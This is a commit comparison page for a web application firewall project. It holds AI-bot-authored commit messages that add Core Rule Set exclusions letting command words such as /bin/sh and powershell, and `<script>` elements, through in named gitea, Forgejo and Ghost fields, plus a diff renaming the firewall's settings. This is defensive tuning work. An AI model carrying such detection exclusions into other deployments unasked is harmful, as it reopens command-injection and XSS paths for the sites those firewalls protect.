Compare commits

..
Author SHA1 Message Date
clawbot 119b9356e5 Core Rule Set: the package registries' searches of gitea and Forgejo pass (closes #354)
check / check (push) Failing after 1m54s
Recorded from gitea 1.27.3 and Forgejo 17.0.1 with each registry's own
client, and curl for the Chef cookbook list and NuGet's Packages(), with
python3, powershell, ls -la, .htaccess, file names and plain words. q on
the Cargo, Chef, Composer and Conan searches and NuGet's search service
joins 900603. 900605 lets /bin/sh through on Composer and Conan. New:
900609 for npm's text, 900611 lets a Conan pattern such as zlib/* skip
942100, and 900612 for NuGet's Search() and Packages(): searchTerm,
$filter, and the names $filter, $orderby and $top for 942290.

Model: opus-5-5
2026-11-12 12:11:36 +00:00
clawbot b84a33fb57 Core Rule Set: the API searches gitea and Forgejo share pass (closes #353)
check / check (push) Successful in 4m37s
Recorded with python3, powershell, ls -la, .htaccess, file names and plain
words from gitea 1.27.3 and Forgejo 17.0.1. q on the API's searches of
topics, of an organisation's teams and of emails joins 900603, which skips
930120, 932120, 932250 and 932260. The same four rules are skipped by
query on the search of unadopted repositories (900607) and by name on the
search of a repository's milestones (900608). 900605 also lets /bin/sh
through in q on the API's search of packages, since a package name can
hold a slash. The searches of repositories, users and issues already
passed.

Model: opus-5-5
Co-authored-by: clawbot <sneak+clawbot@sneak.cloud>
2026-11-12 12:28:33 +01:00
clawbot 4dad4fff43 Rename the settings whose names do not say what they control (closes #234)
check / check (push) Failing after 2m3s
Applies the setting renames of the naming audit under the SWW_WAF_ and
SWW_RPROXY_ prefixes, with sneak's names for the IP reputation cache
time and the two time limits, which now take milliseconds. The rproxy
log field default_disposition becomes waf_backend_no_answer, and
config.Config and config.FromEnvironment become config.WAF and
config.WAFFromEnvironment. Go fields, test names and prose follow. No
aliases; nothing reads the old names.

Model: opus-5-5
2026-11-12 11:13:27 +01:00
clawbot 94d60358ee Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359)
check / check (push) Failing after 4m5s
Ghost 6.76.0 was sent the fields not yet recorded with python3,
powershell, ls -la and .htaccess. Fixes in ghost.conf:

- eight rules that refused words naming commands and files, 932235 among
  them, for staff profiles, setup, invitations, tiers, offers,
  recommendations, integrations, webhooks, feature images, comments, the
  CSV import's labels, ActivityPub, and source and the utm_ fields;
- 932235 for the existing plain-text fields and code injection;
- filter skips six more rules, for title:~'powershell & python3';
- pathname skips 930120, 932120 and 932260;
- invitation addresses, email_segment, a tag's canonical_url, and
  ActivityPub's handles, actorUri and domain;
- a tag's code injection skips what a post's does.

Model: opus-5-5
2026-11-12 10:58:48 +01:00
clawbot 3304beca46 rproxy: read the rest of a Connection: close visitor's body after an early answer (closes #373)
check / check (push) Failing after 1m52s
Go's server reads up to 256 KiB of a body left unread once the handler
returns, but not a body with a declared length from a visitor that sent
Connection: close. It closes that connection with the rest unread, and
the visitor, still sending, gets a reset. rproxy now reads that rest
itself, until the deadline already set on the connection, through a
MaxBytesReader made with Go's own ResponseWriter. With more than 256 KiB
left, that has Go's server tell the visitor it sends no more and wait
500 ms before it closes. rproxy reads the rest only after an answer with
a Content-Length, because Go's server ends any other answer only once
the handler returns.

Model: opus-5-5
2026-11-12 10:43:29 +01:00
clawbot 101cc0aba5 Core Rule Set: a Ghost post's or page's canonical URL passes when it names a command or a file (closes #374)
check / check (push) Successful in 4m3s
While bodies are read, 932120 refused the canonical URL
`https://example.com/blog/powershell/` and 930120 refused
`https://example.com/blog/.htaccess/`. The new exclusions 900383 and 900384
switch both rules off for `posts.N.canonical_url` under
`/ghost/api/admin/posts/` and `pages.N.canonical_url` under
`/ghost/api/admin/pages/`, as `url` does, and only when the query has no field
of that name. The recorded requests gain the saves the Ghost 6.76.0 admin
sends when those addresses are set in a post's and a page's settings.

Model: opus-5-5
2026-11-12 09:13:25 +01:00
clawbot c4bf76c966 rproxy test: send the body over its limit without Connection: close (closes #371)
check / check (push) Failing after 3m57s
visit's client sends Connection: close, and Go's server then closes the
connection after the 413 without reading the rest of the body. The
visitor, still sending, could see the reset before the answer. The test
now sends the request on its own connection without that header, so Go's
server reads the rest before it closes.

Model: opus-5-5
2026-11-12 07:44:01 +01:00
clawbot aaa9719f02 Core Rule Set: Ghost posts and code injection take a script element (closes #358)
check / check (push) Failing after 4m14s
While bodies are read, 941110 refused a `<script>` element in an HTML card
that embeds a widget, and in code injection that loads analytics. The new
exclusion 900366 switches 941110 off on the Admin API for `lexical`,
`mobiledoc` and `html` of posts and pages, their `codeinjection_head` and
`codeinjection_foot`, and settings `value`. Snippets, a newsletter's footer
and every other field and path still refuse it; `javascript:` links stay
refused everywhere.

Model: opus-5-5
2026-11-12 06:13:59 +01:00
clawbot 0cb6dded98 Read every setting through viper and rename the settings (closes #211)
check / check (push) Failing after 1m55s
Every setting of waf and rproxy is read through viper, in place of the
os.LookupEnv function Main passed down. NewViper turns AutomaticEnv and
AllowEmptyEnv on, so a setting that is set but empty reads as set. A
setting may also be given as a file, the _FILE form, which rproxy's
settings now have too; rproxy still writes nothing to disk.

The settings are renamed: waf's take the prefix SWW_WAF_, rproxy's take
SWW_RPROXY_, and the shared SWW_COMMAND keeps SWW_. The Core Rule Set's
settings take SWW_WAF_CORE_RULE_SET_ rather than SWW_WAF_WAF_.

Model: deepseek-v4-pro (first version); opus-5-5 (rework)
2026-11-12 05:43:47 +01:00
104 changed files with 4029 additions and 2095 deletions

No files matched your search

+1 -1
View File
@@ -226,7 +226,7 @@ RUN groupadd --system --gid 65532 sww \
# script makes SWW_WAF_STATE_DIR if it is missing and gives it to the sww user.
RUN mkdir /var/lib/sww
# The default rule file, in SWW_WAF_RULES_DIR by default, where a Dockerfile
# The default rule file, in SWW_WAF_RULE_FILES_DIR by default, where a Dockerfile
# built FROM this image can copy rule files of its own beside it.
COPY share/rules.d/00-default.rules /etc/sww/rules.d/00-default.rules
+129 -129
View File
@@ -212,7 +212,7 @@ account, a key, a token or an alert destination stays off until you give one.
setting takes it.
- The byte limits and the byte anomaly thresholds count only body bytes: the
app's response bodies, the visitors' request bodies, or both, as
`SWW_WAF_BYTES_COUNT` says. Headers are never counted. What the visitor sent
`SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent
over a WebSocket counts as request bytes, and what the app sent as response
bytes.
- An invalid setting stops the process at start with one log line naming the
@@ -221,125 +221,125 @@ account, a key, a token or an alert destination stays off until you give one.
Every setting the code reads, with its default:
| Variable | Default | What it does |
| -------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWW_RPROXY_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
| `SWW_RPROXY_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_WAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_WAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_WAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_WAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_WAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_WAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_WAF_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_WAF_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_WAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_WAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_WAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_WAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_WAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_WAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_WAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
| `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
| Variable | Default | What it does |
| ------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. |
| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. |
| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. |
| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. |
| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. |
| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. |
| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take, in milliseconds. |
| `SWW_WAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
